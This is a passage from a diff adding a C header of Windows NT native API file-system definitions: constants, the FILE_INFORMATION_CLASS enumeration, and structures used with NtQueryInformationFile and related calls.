FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +// I/O status information values for NtCreateFile/NtOpenFile + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// +// Define the QueryFlags values for NtQueryDirectoryFileEx. +// + +#define FILE_QUERY_RESTART_SCAN 0x00000001 +#define FILE_QUERY_RETURN_SINGLE_ENTRY 0x00000002 +#define FILE_QUERY_INDEX_SPECIFIED 0x00000004 +#define FILE_QUERY_RETURN_ON_DISK_ENTRIES_ONLY 0x00000008 +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_QUERY_NO_CURSOR_UPDATE 0x00000010 +#endif + +// Special ByteOffset parameters + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// Alignment requirement values + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +// Maximum length of a filename string + +#define MAXIMUM_FILENAME_LENGTH 256 + +// Extended attributes + +#define FILE_NEED_EA 0x00000080 + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +// Device characteristics + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 +#define FILE_REMOTE_DEVICE_VSMB 0x00080000 +#define FILE_DEVICE_REQUIRE_SECURITY_CHECK 0x00100000 + +// Named pipe values + +// NamedPipeType for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 +#define FILE_PIPE_ACCEPT_REMOTE_CLIENTS 0x00000000 +#define FILE_PIPE_REJECT_REMOTE_CLIENTS 0x00000002 +#define FILE_PIPE_TYPE_VALID_MASK 0x00000003 + +// CompletionMode for NtCreateNamedPipeFile +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// ReadMode for NtCreateNamedPipeFile +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// NamedPipeConfiguration for NtQueryInformationFile +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// NamedPipeState for NtQueryInformationFile +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// NamedPipeEnd for NtQueryInformationFile +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + +#endif // !_KERNEL_MODE + +// Win32 pipe instance limit (0xff) +#define FILE_PIPE_UNLIMITED_INSTANCES 0xffffffff + +// Mailslot values + +#define MAILSLOT_SIZE_AUTO 0 + +// private +typedef struct _FILE_IO_COMPLETION_INFORMATION +{ + PVOID KeyContext; + PVOID ApcContext; + IO_STATUS_BLOCK IoStatusBlock; +} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; + +#ifndef _KERNEL_MODE +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION + FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION + FileBothDirectoryInformation, // FILE_BOTH_DIR_INFORMATION + FileBasicInformation, // FILE_BASIC_INFORMATION + FileStandardInformation, // FILE_STANDARD_INFORMATION + FileInternalInformation, // FILE_INTERNAL_INFORMATION + FileEaInformation, // FILE_EA_INFORMATION + FileAccessInformation, // FILE_ACCESS_INFORMATION + FileNameInformation, // FILE_NAME_INFORMATION + FileRenameInformation, // FILE_RENAME_INFORMATION // 10 + FileLinkInformation, // FILE_LINK_INFORMATION + FileNamesInformation, // FILE_NAMES_INFORMATION + FileDispositionInformation, // FILE_DISPOSITION_INFORMATION + FilePositionInformation, // FILE_POSITION_INFORMATION + FileFullEaInformation, // FILE_FULL_EA_INFORMATION + FileModeInformation, // FILE_MODE_INFORMATION + FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION + FileAllInformation, // FILE_ALL_INFORMATION + FileAllocationInformation, // FILE_ALLOCATION_INFORMATION + FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20 + FileAlternateNameInformation, // FILE_NAME_INFORMATION + FileStreamInformation, // FILE_STREAM_INFORMATION + FilePipeInformation, // FILE_PIPE_INFORMATION + FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION + FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION + FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION + FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION + FileCompressionInformation, // FILE_COMPRESSION_INFORMATION + FileObjectIdInformation, // FILE_OBJECTID_INFORMATION + FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30 + FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION + FileQuotaInformation, // FILE_QUOTA_INFORMATION + FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION + FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION + FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION + FileTrackingInformation, // FILE_TRACKING_INFORMATION + FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION + FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION + FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION + FileShortNameInformation, // FILE_NAME_INFORMATION // 40 + FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA + FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION + FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX + FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION + FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION + FileHardLinkInformation, // FILE_LINKS_INFORMATION + FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION + FileNormalizedNameInformation, // FILE_NAME_INFORMATION + FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION + FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50 + FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION + FileUnusedInformation, + FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION + FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION + FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION + FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8 + FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION + FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION + FileIdInformation, // FILE_ID_INFORMATION + FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION // 60 + FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE + FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION + FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD + FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE + FileRenameInformationEx, // FILE_RENAME_INFORMATION_EX + FileRenameInformationExBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION_EX + FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2 + FileStatInformation, // FILE_STAT_INFORMATION + FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 + FileStatLxInformation, // FILE_STAT_LX_INFORMATION // since REDSTONE4 // 70 + FileCaseSensitiveInformation, // FILE_CASE_SENSITIVE_INFORMATION + FileLinkInformationEx, // FILE_LINK_INFORMATION_EX // since REDSTONE5 + FileLinkInformationExBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION_EX + FileStorageReserveIdInformation, // FILE_SET_STORAGE_RESERVE_ID_INFORMATION + FileCaseSensitiveInformationForceAccessCheck, // FILE_CASE_SENSITIVE_INFORMATION + FileKnownFolderInformation, // FILE_KNOWN_FOLDER_INFORMATION // since WIN11 + FileMaximumInformation +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +// NtQueryInformationFile/NtSetInformationFile types + +typedef struct _FILE_BASIC_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION_EX +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; + BOOLEAN AlternateStream; + BOOLEAN MetadataAttribute; +} FILE_STANDARD_INFORMATION_EX, * PFILE_STANDARD_INFORMATION_EX; + +typedef struct _FILE_INTERNAL_INFORMATION +{ + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, * PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION +{ + ULONG EaSize; +} FILE_EA_INFORMATION, * PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION +{ + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, * PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION +{ + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION +{ + ULONG Mode; +} FILE_MODE_INFORMATION, * PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION +{ + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, * PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, * PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION +{ + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, * PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, * PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION +{ + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, * PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION +{ + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, * PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION +{ + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, * PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION +{ + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION +{ + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, * PFILE_END_OF_FILE_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FLAGS_END_OF_FILE_INFO_EX_EXTEND_PAGING 0x00000001 +#define FLAGS_END_OF_FILE_INFO_EX_NO_EXTRA_PAGING_EXTEND 0x00000002 +#define FLAGS_END_OF_FILE_INFO_EX_TIME_CONSTRAINED 0x00000004 +#define FLAGS_DELAY_REASONS_LOG_FILE_FULL 0x00000001 +#define FLAGS_DELAY_REASONS_BITMAP_SCANNED 0x00000002 + +typedef struct _FILE_END_OF_FILE_INFORMATION_EX +{ + LARGE_INTEGER EndOfFile; + LARGE_INTEGER PagingFileSizeInMM; + LARGE_INTEGER PagingFileMaxSize; + ULONG Flags; +} FILE_END_OF_FILE_INFORMATION_EX, * PFILE_END_OF_FILE_INFORMATION_EX; +#endif + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION +{ + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, * PFILE_VALID_DATA_LENGTH_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_LINK_REPLACE_IF_EXISTS 0x00000001 +#define FILE_LINK_POSIX_SEMANTICS 0x00000002 + +#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_LINK_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +#define FILE_LINK_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_LINK_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_LINK_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_LINK_INFORMATION +{ +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + union + { + BOOLEAN ReplaceIfExists; // FileLinkInformation + ULONG Flags; // FileLinkInformationEx + }; +#else + BOOLEAN ReplaceIfExists; +#endif + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, * PFILE_LINK_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION_EX, * PFILE_LINK_INFORMATION_EX; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION +{ + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, * PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION +{ + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +#define FILE_RENAME_REPLACE_IF_EXISTS 0x00000001 +#define FILE_RENAME_POSIX_SEMANTICS 0x00000002 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +#define FILE_RENAME_SUPPRESS_PIN_STATE_INHERITANCE 0x00000004 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) +#define FILE_RENAME_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 +#define FILE_RENAME_NO_INCREASE_AVAILABLE_SPACE 0x00000010 +#define FILE_RENAME_NO_DECREASE_AVAILABLE_SPACE 0x00000020 +#define FILE_RENAME_PRESERVE_AVAILABLE_SPACE 0x00000030 +#define FILE_RENAME_IGNORE_READONLY_ATTRIBUTE 0x00000040 +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +#define FILE_RENAME_FORCE_RESIZE_TARGET_SR 0x00000080 +#define FILE_RENAME_FORCE_RESIZE_SOURCE_SR 0x00000100 +#define FILE_RENAME_FORCE_RESIZE_SR 0x00000180 +#endif + +typedef struct _FILE_RENAME_INFORMATION_EX +{ + ULONG Flags; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION_EX, * PFILE_RENAME_INFORMATION_EX; + +typedef struct _FILE_STREAM_INFORMATION +{ + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, * PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION +{ + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, * PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION +{ + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION +{ + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, * PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION +{ + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, * PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION +{ + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, * PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION +{ + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, * PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION +{ + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, * PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION +{ + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, * PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION +{ + ULONG NextEntryOffset; + LONGLONG ParentFileId; // LARGE_INTEGER + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, * PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION +{ + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, * PFILE_LINKS_INFORMATION; + +typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, * PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; + +typedef struct _FILE_STANDARD_LINK_INFORMATION +{ + ULONG NumberOfAccessibleLinks; + ULONG TotalNumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_LINK_INFORMATION, * PFILE_STANDARD_LINK_INFORMATION; + +typedef struct _FILE_SFIO_RESERVE_INFORMATION +{ + ULONG RequestsPerPeriod; + ULONG Period; + BOOLEAN RetryFailures; + BOOLEAN Discardable; + ULONG RequestSize; + ULONG NumOutstandingRequests; +} FILE_SFIO_RESERVE_INFORMATION, * PFILE_SFIO_RESERVE_INFORMATION; + +typedef struct _FILE_SFIO_VOLUME_INFORMATION +{ + ULONG MaximumRequestsPerPeriod; + ULONG MinimumPeriod; + ULONG MinimumTransferSize; +} FILE_SFIO_VOLUME_INFORMATION, * PFILE_SFIO_VOLUME_INFORMATION; + +typedef enum _IO_PRIORITY_HINT +{ + IoPriorityVeryLow = 0, // Defragging, content indexing and other background I/Os. + IoPriorityLow, // Prefetching for applications. + IoPriorityNormal, // Normal I/Os. + IoPriorityHigh, // Used by filesystems for checkpoint I/O. + IoPriorityCritical, // Used by memory manager. Not available for applications. + MaxIoPriorityTypes +} IO_PRIORITY_HINT; + +typedef DECLSPEC_ALIGN(8) struct _FILE_IO_PRIORITY_HINT_INFORMATION +{ + IO_PRIORITY_HINT PriorityHint; +} FILE_IO_PRIORITY_HINT_INFORMATION, * PFILE_IO_PRIORITY_HINT_INFORMATION; + +typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION_EX +{ + IO_PRIORITY_HINT PriorityHint; + BOOLEAN BoostOutstanding; +} FILE_IO_PRIORITY_HINT_INFORMATION_EX, * PFILE_IO_PRIORITY_HINT_INFORMATION_EX; + +#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 +#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 +#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4 + +typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION +{ + ULONG Flags; +} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, * PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION; + +typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION +{ + ULONG NumberOfProcessIdsInList; + ULONG_PTR ProcessIdList[1]; +} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; + +typedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION +{ + BOOLEAN IsRemote; +} FILE_IS_REMOTE_DEVICE_INFORMATION, * PFILE_IS_REMOTE_DEVICE_INFORMATION; + +typedef struct _FILE_NUMA_NODE_INFORMATION +{ + USHORT NodeNumber; +} FILE_NUMA_NODE_INFORMATION, * PFILE_NUMA_NODE_INFORMATION; + +typedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION +{ + PUCHAR IoStatusBlockRange; + ULONG Length; +} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, * PFILE_IOSTATUSBLOCK_RANGE_INFORMATION; + +// Win32 FILE_REMOTE_PROTOCOL_INFO +typedef struct _FILE_REMOTE_PROTOCOL_INFORMATION +{ + // Structure Version + USHORT StructureVersion; // 1 for Win7, 2 for Win8 SMB3, 3 for Blue SMB3, 4 for RS5 + USHORT StructureSize; // sizeof(FILE_REMOTE_PROTOCOL_INFORMATION) + + ULONG Protocol; // Protocol (WNNC_NET_*) defined in winnetwk.h or ntifs.h. + + // Protocol Version & Type + USHORT ProtocolMajorVersion; + USHORT ProtocolMinorVersion; + USHORT ProtocolRevision; + + USHORT Reserved; + + // Protocol-Generic Information + ULONG Flags; + + struct + { + ULONG Reserved[8]; + } GenericReserved; + + // Protocol specific information + +#if (NTDDI_VERSION < NTDDI_WIN8) + struct + { + ULONG Reserved[16]; + } ProtocolSpecificReserved; +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) + union + { + struct + { + struct + { + ULONG Capabilities; + } Server; + struct + { + ULONG Capabilities; +#if (NTDDI_VERSION >= NTDDI_WIN10_FE) + ULONG ShareFlags; +#else + ULONG CachingFlags; +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + UCHAR ShareType; + UCHAR Reserved0[3]; + ULONG Reserved1; +#endif + } Share; + } Smb2; + ULONG Reserved[16]; + } ProtocolSpecific; +#endif +} FILE_REMOTE_PROTOCOL_INFORMATION, * PFILE_REMOTE_PROTOCOL_INFORMATION; + +#define CHECKSUM_ENFORCEMENT_OFF 0x00000001 + +typedef struct _FILE_INTEGRITY_STREAM_INFORMATION +{ + USHORT ChecksumAlgorithm; + UCHAR ChecksumChunkShift; + UCHAR ClusterShift; + ULONG Flags; +} FILE_INTEGRITY_STREAM_INFORMATION, * PFILE_INTEGRITY_STREAM_INFORMATION; + +typedef struct _FILE_VOLUME_NAME_INFORMATION +{ + ULONG DeviceNameLength; + WCHAR DeviceName[1]; +} FILE_VOLUME_NAME_INFORMATION, * PFILE_VOLUME_NAME_INFORMATION; + +typedef struct _FILE_ID_INFORMATION +{ + ULONGLONG VolumeSerialNumber; + FILE_ID_128 FileId; +} FILE_ID_INFORMATION, * PFILE_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[1]; +} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION +{ + ULONG NextEntryOffset; + FILE_ID_128 ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_FULL_ID_INFORMATION, * PFILE_LINK_ENTRY_FULL_ID_INFORMATION; + +typedef struct _FILE_LINKS_FULL_ID_INFORMATION +{ + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_FULL_ID_INFORMATION Entry; +} FILE_LINKS_FULL_ID_INFORMATION, * PFILE_LINKS_FULL_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_ID_EXTD_BOTH_DIR_INFORMATION, * PFILE_ID_EXTD_BOTH_DIR_INFORMATION; + +// private +typedef struct _FILE_STAT_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ACCESS_MASK EffectiveAccess; +} 